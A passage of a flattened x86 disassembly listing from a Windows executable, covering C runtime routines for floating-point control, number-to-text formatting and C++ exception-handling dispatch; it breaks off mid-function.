sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" call dword_4270A4 ; GetModuleHandleA test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4270C4 ; GetProcAddress test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; .packed:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: .packed:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz loc_4227CD cmp [esi+14h], edi jnz loc_4227CD mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov ebx, eax loc_422721: ; CODE XREF: sub_422651+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_4227B8 cmp [ebx], edi jg short loc_4227AD cmp edi, [ebx+4] jg short loc_4227AD mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_4227AA loc_422746: ; CODE XREF: sub_422651+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_422777 loc_422758: ; CODE XREF: sub_422651+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_4228A0 add esp, 0Ch test eax, eax jnz short loc_422786 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_422758 loc_422777: ; CODE XREF: sub_422651+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_422746 jmp short loc_4227AA ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_422651+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4229B1 add esp, 2Ch loc_4227AA: ; CODE XREF: sub_422651+F3j ; sub_422651+133j mov edi, [ebp+var_10] loc_4227AD: ; CODE XREF: sub_422651+DEj ; sub_422651+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422721 ; --------------------------------------------------------------------------- loc_4227B8: ; CODE XREF: sub_422651+D6j cmp [ebp+arg_14], 0 jz short loc_4227C8 push 1 push esi call sub_422D26 pop ecx pop ecx loc_4227C8: ; CODE XREF: sub_422651+56j ; sub_422651+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4227CD: ; CODE XREF: sub_422651+37j ; sub_422651+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_4227F3 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4227F8 add esp, 20h jmp short loc_4227C8 ; --------------------------------------------------------------------------- loc_4227F3: ; CODE XREF: sub_422651+180j jmp sub_422DFC sub_422651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227F8 proc near ; CODE XREF: sub_422651+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DBE70, 0 push esi push edi jz short loc_422829 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D3AA add esp, 1Ch test eax, eax jnz short loc_42289C loc_422829: ; CODE XREF: sub_4227F8+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D4D3 add esp, 14h mov esi, eax loc_422845: ; CODE XREF: sub_4227F8+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_42289C cmp edi, [esi] jl short loc_422894 cmp edi, [esi+4] jg short loc_422894 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_42286E cmp byte ptr [ecx+8], 0 jnz short loc_422894 loc_42286E: ; CODE XREF: sub_4227F8+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4229B1 add esp, 2Ch loc_422894: ; CODE XREF: sub_4227F8+57j ; sub_4227F8+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_422845 ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_4227F8+2Fj ; sub_4227F8+53j pop edi pop esi leave retn sub_4227F8 endp ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4228F7 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4228F7 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_4228D1 add ecx, 8 push ecx push edx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4228F3 loc_4228D1: ; CODE XREF: sub_4228A0+1Fj test byte ptr [esi], 2 jz short loc_4228DB test byte ptr [edi], 8 jz short loc_4228F3 loc_4228DB: ; CODE XREF: sub_4228A0+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4228EA test byte ptr [edi], 1 jz short loc_4228F3 loc_4228EA: ; CODE XREF: sub_4228A0+43j test al, 2 jz short loc_4228F7 test byte ptr [edi], 2 jnz short loc_4228F7 loc_4228F3: ; CODE XREF: sub_4228A0+2Fj ; sub_4228A0+39j ... xor eax, eax jmp short loc_4228FA ; --------------------------------------------------------------------------- loc_4228F7: ; CODE XREF: sub_4228A0+Bj ; sub_4228A0+14j ... push 1 pop eax loc_4228FA: ; CODE XREF: sub_4228A0+55j pop edi pop esi retn sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4228FD proc near ; CODE XREF: sub_4225B6+34p ; sub_4229B1+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A8 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42292F: ; CODE XREF: sub_4228FD+8Aj cmp esi, [ebp+arg_C] jz short loc_422989 cmp esi, 0FFFFFFFFh jle short loc_42293E cmp esi, [edi+4] jl short loc_422943 loc_42293E: ; CODE XREF: sub_4228FD+3Aj call sub_422E52 loc_422943: ; CODE XREF: sub_4228FD+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_42295E push 103h push ebx push eax call sub_422DB0 loc_42295E: ; CODE XREF: sub_4228FD+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_42297E ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_42299B pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_42297E: ; CODE XREF: sub_4228FD+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42292F ; --------------------------------------------------------------------------- loc_422989: ; CODE XREF: sub_4228FD+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4228FD endp ; =============== S U B R O U T I N E ======================================= sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_4229AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4229AC: ; CODE XREF: sub_42299B+Cj jmp sub_422DFC sub_42299B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229B1 proc near ; CODE XREF: sub_422651+151p ; sub_4227F8+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_4229D3 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422B62 add esp, 10h loc_4229D3: ; CODE XREF: sub_4229B1+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_4229DF push edi jmp short loc_4229E2 ; --------------------------------------------------------------------------- loc_4229DF: ; CODE XREF: sub_4229B1+29j push [ebp+arg_24] loc_4229E2: ; CODE XREF: sub_4229B1+2Cj call sub_41D2AC mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_4228FD mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_422A2C add esp, 2Ch test eax, eax jz short loc_422A27 push edi push eax call sub_41D26A loc_422A27: ; CODE XREF: sub_4229B1+6Dj pop edi pop esi pop ebx pop ebp retn sub_4229B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A2C proc near ; CODE XREF: sub_4229B1+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 